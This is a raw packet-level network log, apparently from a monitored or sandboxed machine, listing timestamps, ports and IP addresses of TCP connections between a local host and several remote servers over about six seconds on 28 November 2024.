Nov 28, 2024 06:48:50.525965929 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.526026964 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.526191950 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.538769007 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.538780928 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.539666891 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.539671898 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.539889097 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.539902925 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.539927006 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.539932966 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.545977116 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.545995951 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.546624899 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.546948910 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.546958923 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.584199905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:50.584669113 CET	80	49872	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:50.587436914 CET	49872	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:50.589308977 CET	49872	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:50.650208950 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:50.651200056 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:50.651223898 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:50.651885986 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:50.651891947 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:50.651953936 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:50.651962996 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:50.684637070 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710563898 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710575104 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710596085 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710603952 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710642099 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.710668087 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710680008 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.710681915 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.710715055 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.711219072 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.711235046 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.712987900 CET	80	49872	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:50.768742085 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.768795013 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.771414995 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.771683931 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.771694899 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.771703959 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.771708012 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.779239893 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.779263973 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.779413939 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.780576944 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.780591011 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.841239929 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.841304064 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.841408014 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.857640028 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.857640028 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.857667923 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.857681990 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.889431000 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.889472008 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.889564991 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.889934063 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.889952898 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.986466885 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.986526012 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.986654997 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.987170935 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.987185955 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.987194061 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.987199068 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.989998102 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.990027905 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.990200996 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.990411997 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.990426064 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.203485012 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.206629038 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.206654072 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.207703114 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.207710981 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.223189116 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.264522076 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.279428959 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.279447079 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.279531002 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.279536963 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.279596090 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.297322989 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.297333002 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.298016071 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.298021078 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.298053026 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.298063993 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.326050997 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.326069117 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.326080084 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.326086044 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.357609987 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.357646942 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.357723951 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.357923031 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.357938051 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.373750925 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:51.373773098 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:51.646220922 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.646298885 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.646419048 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.646801949 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.646822929 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.646835089 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.646841049 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.649951935 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.649983883 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.650111914 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.650217056 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:51.650230885 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:51.975516081 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.975538015 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.975544930 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.975574017 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.975620985 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.975635052 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.975681067 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.976144075 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.976154089 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.976174116 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.976283073 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.976320028 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.976361036 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.987389088 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.987438917 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:51.987517118 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.987682104 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:51.987698078 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:52.403125048 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.403853893 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.403881073 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.404350042 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.404365063 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.479357004 CET	80	49872	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:52.479429960 CET	49872	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:52.572318077 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.572900057 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.572928905 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.573399067 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.573405981 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.824773073 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.828087091 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.828108072 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.828588963 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.828593969 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.843894005 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.844613075 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.844630003 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.845084906 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:52.845091105 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.864010096 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.864063978 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:52.864134073 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.017714977 CET	49873	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.017730951 CET	443	49873	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.021327019 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.021374941 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.021437883 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.021645069 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.021673918 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.023516893 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.023590088 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.023710966 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.023971081 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.023988008 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.023998022 CET	49874	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.024003029 CET	443	49874	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.132460117 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.178951025 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.276823044 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.276869059 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.276952982 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.286443949 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.286487103 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.286597013 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.287503958 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.287518978 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.288101912 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.288108110 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.288187981 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.288197041 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.301318884 CET	49875	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.301335096 CET	443	49875	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.303190947 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.303190947 CET	49876	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.303215027 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.303225994 CET	443	49876	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.305700064 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.305732965 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.305813074 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.308242083 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.308265924 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.308401108 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.308609009 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.308619976 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.309623003 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.309633970 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.310482979 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.310504913 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.310560942 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.310666084 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.310678005 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.462584972 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.463236094 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.463251114 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.463725090 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.463731050 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.814084053 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.815243006 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.815262079 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.816006899 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.816016912 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.816036940 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:53.816049099 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:53.914318085 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.914402962 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.914654016 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.955914974 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.955950975 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.955966949 CET	49878	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.955972910 CET	443	49878	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.964838028 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.964874983 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:53.964951992 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.965329885 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:53.965342999 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:54.426815987 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.426837921 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.426846027 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.426867962 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.426907063 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.426920891 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.426938057 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.426970005 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.427366972 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.427381992 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.427418947 CET	49877	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.427424908 CET	443	49877	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.523264885 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.523303032 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.523333073 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.523358107 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.523370981 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.523389101 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.530894041 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.530905962 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.530930042 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.531157970 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.531215906 CET	443	49881	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:54.531411886 CET	49881	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:54.877826929 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:54.878360033 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:54.878391981 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:54.878838062 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:54.878844023 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.034825087 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.035518885 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.035541058 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.036122084 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.036125898 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.100114107 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.100709915 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.100728035 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.100934982 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.101243019 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.101259947 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.101473093 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.101478100 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.101749897 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.101756096 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.192686081 CET	49872	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:55.340353012 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.340409040 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.340542078 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.340804100 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.340826035 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.340838909 CET	49882	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.340846062 CET	443	49882	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.343898058 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.343930006 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.344208002 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.344436884 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.344454050 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.479007959 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.479059935 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.479125023 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.479763985 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.479780912 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.479795933 CET	49884	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.479801893 CET	443	49884	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.483196974 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.483249903 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.483565092 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.483793974 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.483817101 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.552429914 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.552486897 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.552563906 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.552793026 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.552809000 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.552855015 CET	49885	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.552860022 CET	443	49885	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.555960894 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.555996895 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.556085110 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.556227922 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.556240082 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.558204889 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.558254957 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.558403969 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.558433056 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.558445930 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.558458090 CET	49883	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.558461905 CET	443	49883	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.560400009 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.560445070 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.560508966 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.560691118 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.560714006 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.762679100 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.764017105 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.764045954 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.764348984 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:55.764354944 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:55.926898956 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:55.926968098 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:55.927037954 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:55.927599907 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:55.927618980 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:56.213475943 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:56.213659048 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:56.213731050 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:56.213963985 CET	49886	443	192.168.2.5	13.107.246.63
